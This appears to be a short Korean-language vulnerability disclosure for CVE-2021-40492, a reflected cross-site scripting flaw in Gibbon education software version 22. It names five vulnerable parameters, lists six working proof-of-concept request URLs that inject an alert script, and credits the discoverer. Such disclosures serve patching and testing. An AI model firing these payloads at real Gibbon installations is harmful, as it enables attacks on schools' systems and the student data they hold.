5qu1n7/cve-2021-40492CVE-2021-40492 Gibbon 버전 22 반사형 크로스 사이트 스크립팅 (XSS)
CVE-2021-40492 Gibbon 버전 22 반사형 교차 사이트 스크립팅(XSS) 취약점. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40492
Gibbon 교육 애플리케이션 버전 22의 여러 페이지에서 반사형 교차 사이트 스크립팅 취약점이 존재하며, 이를 통해 임의의 JavaScript 명령을 실행할 수 있습니다.
취약한 매개변수: gibbonCourseClassID, gibbonPersonID, subpage, currentDate, allStudents
취약한 페이로드:
/gibbonedu/index.php?q=%2Fmodules%2FFormal+Assessment%2FexternalAssessment_details.php&gibbonPersonID=0000001819d7gdw'%3e%3cscript%3ealert(1)%3c%2fscript%3eckbcl&search=&allStudents=
/gibbonedu/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002425sbh6q%22%3e%3cscript%3ealert(XSS)%3c%2fscript%3ezdb7w
/gibbonedu/index.php?q=%2Fmodules%2FFormal+Assessment%2FexternalAssessment_details.php&gibbonPersonID=0000001819&search=k7zkk'%3e%3cscript%3ealert(XSS)%3c%2fscript%3eiqdj2&allStudents=
/gibbonedu/index.php?q=%2fmodules%2fPlanner%2fplanner.php&gibbonCourseClassID=00002425%7d%7dih0ol'%3e%3cscript%3ealert(XSS)%3c%2fscript%3eadssq&viewBy=class
/gibbonedu/index.php?q=%2fmodules%2fStudents%2fstudent_view_details.php&gibbonPersonID=2033&search=&allStudents=on&sort=surname%2c%20preferredName&subpage=Familyjxlcj%3cscript%3ealert(XSS)%3c%2fscript%3emn58l
/gibbonedu/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002425¤tDate=k9q4m%22%3e%3cscript%3ealert(XSS)%3c%2fscript%3etfuh1
2021년 9월 2일 Brian Lowe가 발견함
